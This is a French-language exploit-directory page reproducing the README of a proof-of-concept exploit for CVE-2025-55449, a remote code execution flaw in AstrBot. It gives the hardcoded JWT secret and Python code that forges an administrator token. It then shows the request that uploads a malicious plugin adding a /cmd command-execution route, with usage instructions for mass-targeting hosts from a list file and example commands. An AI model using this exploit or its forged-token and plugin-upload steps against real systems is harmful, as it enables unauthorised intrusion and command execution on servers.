Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-55449 — EXP CVE-2025-55449 | Kitploit
Outils/GitHubGitHub/xhh1h/cve-2025-55449
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebAuthentificationDéveloppement de Charges Utiles
GitHubxhh1h/cve-2025-55449

CVE-2025-55449

EXP CVE-2025-55449

Voir le dépôt
320il y a 10 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-55449 - Vulnérabilité d'Exécution de Code à Distance (RCE) dans AstrBot

Aperçu

Ce dépôt contient un exploit de preuve de concept pour CVE-2025-55449, une vulnérabilité critique d'Exécution de Code à Distance (RCE) dans AstrBot. La vulnérabilité permet à un attaquant d'exécuter du code arbitraire sur le système cible en exploitant une authentification JWT faible et le mécanisme d'installation de plugins.

Description de la vulnérabilité

La vulnérabilité existe en raison de :

  1. Clé secrète JWT codée en dur : AstrBot utilise une clé secrète JWT codée en dur (Advanced_System_for_Text_Response_and_Bot_Operations_Tool) pour l'authentification, permettant aux attaquants de forger des jetons d'authentification valides.

  2. Installation de plugins sans restriction : Le point de terminaison /api/plugin/install-upload permet aux utilisateurs authentifiés de téléverser et d'installer des plugins sans validation appropriée, permettant l'exécution de code Python arbitraire.

  3. Exécution de code via le système de plugins : Le système de plugins permet aux plugins de modifier le routage de l'application et d'exécuter des commandes arbitraires via l'instance d'application Flask/Quart.

Détails techniques

Vecteur d'attaque

  1. Falsification de jeton JWT : L'exploit forge un jeton JWT en utilisant la clé secrète codée en dur avec des privilèges administrateur.

  2. Vulnérabilité d'exécution de code : La vulnérabilité d'exécution de code à distance dans le backend exploite la fonctionnalité d'extension de plugin intégrée de l'application, permettant aux utilisateurs de téléverser des paquets de plugins personnalisés. Le programme décompresse les paquets, lit les informations du plugin, importe le fichier Python de l'objet et exécute le code.

Flux de l'exploit

1. Forger un jeton JWT avec la clé secrète codée en dur
2. Créer un fichier ZIP de plugin malveillant
3. POST vers /api/plugin/install-upload avec le jeton forgé
4. Le plugin s'installe et ajoute un point de terminaison /cmd
5. Exécuter des commandes via /cmd?cmd=<commande>

Prérequis

  • Python 3.6+
  • Paquets Python requis :
    • jwt (PyJWT)
    • requests
    • zipfile (intégré)
    • argparse (intégré)
    • datetime (intégré)
    • pathlib (intégré)

Installation

  1. Clonez ce dépôt :
git clone <repository-url>
cd CVE-2025-55449
  1. Installez les dépendances requises :
pip install PyJWT requests

Utilisation

Cible unique

Exécutez l'exploit contre une URL cible unique :

python main.py http://target-ip:port

Cibles multiples

Créez un fichier (ip.txt) avec une URL par ligne :

http://target1:6185
http://target2:6185
http://target3:6185

Exécutez ensuite :

python main.py -r ip.txt

Exemple de sortie

En cas d'exploitation réussie, le script affichera :

http://target-ip:port/cmd?cmd=id

Vous pouvez ensuite exécuter des commandes en accédant :

http://target-ip:port/cmd?cmd=<votre-commande>

Par exemple :

http://target-ip:port/cmd?cmd=whoami
http://target-ip:port/cmd?cmd=ls -la

Structure du projet

CVE-2025-55449/
├── main.py                 # Script d'exploit principal
├── ip.txt                  # Fichier d'exemples d'URLs cibles
├── README.md              # Ce fichier
└── helloworld/            # Répertoire du plugin malveillant
    ├── main.py            # Code du plugin qui ajoute le point de terminaison /cmd
    ├── metadata.yaml      # Métadonnées du plugin
    ├── LICENSE            # Licence du plugin
    └── README.md          # README du plugin

Fonctionnement

Falsification du jeton JWT

L'exploit utilise la clé secrète JWT codée en dur pour créer un jeton d'authentification valide :

key = "Advanced_System_for_Text_Response_and_Bot_Operations_Tool"
payload = {"username": "admin", "exp": datetime.datetime.utcnow() + datetime.timedelta(days=7)}
forged = jwt.encode(payload, key, algorithm="HS256")

Plugin malveillant

Le plugin (helloworld/main.py) exploite le système d'importation de Python et l'instance d'application Flask/Quart pour injecter une nouvelle route :

# The plugin finds the Quart application instance and adds a /cmd route
# that executes arbitrary commands via os.popen()

Téléversement du plugin

L'exploit conditionne le plugin sous forme de fichier ZIP et le téléverse via le point de terminaison authentifié :

requests.post(
    url + "/api/plugin/install-upload",
    headers={"Authorization": "Bearer " + forged},
    files={"file": (name + ".zip", zip_payload_bytes)}
)
Télécharger l’outil